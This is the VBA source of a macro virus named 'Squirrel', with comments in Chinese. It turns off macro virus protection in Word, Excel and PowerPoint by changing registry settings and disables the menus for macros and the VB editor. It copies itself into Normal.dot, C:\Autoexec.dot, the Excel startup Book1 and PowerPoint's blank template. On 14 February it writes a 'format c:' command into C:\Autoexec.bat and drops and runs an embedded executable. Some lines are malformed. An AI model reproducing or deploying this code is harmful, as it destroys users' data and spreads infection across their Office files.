Private Sub Document_Open()
On Error Resume Next
Dim file$
Dim ans$
Dim test
Dim mItem[出自:jiwo.org]
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ads
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.ShowVisualBasicEditor = False
If System.PrivateProfileString("", "HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") = 1&
Else
CommmandBars("Tools").Controls("Macro...").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "自定义(C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "模板和加载(I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "选项(O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "宏(M)" Then
For Each mItem In cItem.CommandBars.Controls
If mItem.Caption = "宏(M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basci 编辑器(V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
屏蔽按钮自定义
cItem.Protection = msoBarNoCustomize
End If
Next cItem
If ads.Name = "Autoexec.dot" Then
看看autoexec.dot是否加载
ads.Installed = False
End If
Next ads
With Dialogs(wdDialogToolsOptionsFileLocations)
.Path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
把起始目录指向C:\ 以便加载autoexec.dot
End With
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
该查Normal模板了
If (cItem.Name = "Squirrel") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
准备感染,关掉自动宏选项
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aDoc.FullName + ":Squirrel"
创建C:\autoexec.dot模板,并将病毒复制过去
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aTemp.FullName + ":Squirrel"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
如果打开的文件不是autoexec.dot ,则自己找
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":Squirrel", ActiveDocument.FullName + ":Squirrel"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem


Set NT = NormalTemplate.VBProject.vbcomponents(1).CodeModule
Set TT = Templates(1).VBProject.vbcomponents(1).CodeModule
Set AD = ActiveDocument.VBProject.vbcomponents(1).CodeModule
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.DeleteLines 1, AD.CountofLines
AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then
AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
End If
End If
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
end if





Set xlApp = CreateObject("Excel.Application")
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Check"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\9.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Whoa"
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
End If
xlApp.Quit
Set PPObj = CreateObject("PowerPoint.Application")
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = ""
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\9.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = ""
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
Set NewMod = Nothing
PBT.Save
End If
PBT.Close
PPObj.Quit
End If
If TT.Lines(1, 1) <> "'<!--Squirrel-->" Then
TT.DeleteLines 1, TT.CountofLines
TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
End If
call killyou
End Sub


Private Sub Workbook_Deactivate()
On Error Resume Next
Set AW = ActiveWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule
Set TW = ThisWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
WordObj.Run "Normal.ThisDocument.DisableAV"
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, TW.Lines(1, TW.CountofLines)
Set NT = Nothing
If WQuit = True Then WordObj.Quit
Set PPObj = CreateObject("PowerPoint.Application")
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
Set NewMod = Nothing
PBT.Save
End If
PBT.Close
PPObj.Quit
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines)
Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
Book1Obj.Close
xlApp.Quit
End If
If AW.Lines(1, 1) <> "'<!--Squirrel-->" Then
AW.InsertLines 1, TW.Lines(1, TW.CountofLines)
End If
call killyou
End Sub
Private Sub actionhook(tristate)
On Error Resume Next
If Int(Rnd * 7) = 0 Then
Set Home = ActivePresentation
If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub"
WordObj.Run "Normal.ThisDocument.DisableAV"
NT.DeleteLines 1, NT.CountofLines
NT.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
NT.ReplaceLine 118, "Private Sub actionhook(tristate)"
Set NT = Nothing
If WQuit = True Then WordObj.Quit
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)"
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
xlApp.Quit
Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
dontadd = False
For Each ModComponent In PBT.VBProject.vbcomponents
If ModComponent.Name = "Squirrel" Then dontadd = True
Next
If dontadd <> True Then
Set NewMod = PBT.VBProject.vbcomponents.Add(1)
NewMod.Name = "Squirrel"
NewMod.CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines)
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
With ShapetoWack
.Name = "Squirrel"
.ZOrder (1)
.Line.Visible = False
.Fill.Visible = False
.ActionSettings(1).Action = 8
.ActionSettings(1).Run = "actionhook"
End With
PBT.Save
End If
PBT.Close
End If
End If
ActivePresentation.SlideShowWindow.View.Next
call killyou
End Sub
Private sub killyou()
On Error Resume Next
If Month(Now()) = 2 Then
Dim A As String, C As Long, B As String
If Format(Date, "d") <> 14 Then Exit Sub
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1018/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698411/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-202617/550326527/4194407/1488986895/-1958916469/-61830895/" & _
"-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/314999134/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1404996433/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _
"-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1106/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1200/-833189545/-1109895539/1018/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56588659/78774271/-855586970/-1902867680/-216/251809929/657560758/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _
"-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747257806/217628006/-1077512563/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/544106829/875442550/642598688/22605/"
O = "C:\Autoexec.bat"
SetAttr O, 0
Open O For Output As 1
Print #1, "%windir%\command\format c: /autoexec/u/select"
Close
AW$ = InputBox("Squirrel was sad!", "Test")
If AW$ = "39squirrels" Then
Kill O
MsgBox "You know me!", 4096, "Thanks..."
Else
Open "Squirrel.EXE" For Binary As 1
Do Until A = ""
C = InStr(A, "/")
B = Left(A, C - 1)
A = Right$(A, Len(A) - C)
C = Val(B)
Put 1, , C
Loop
Close
Shell "Squirrel.EXE"
MsgBox "I'm sader...", 48, "No..."
End If
end if
end sub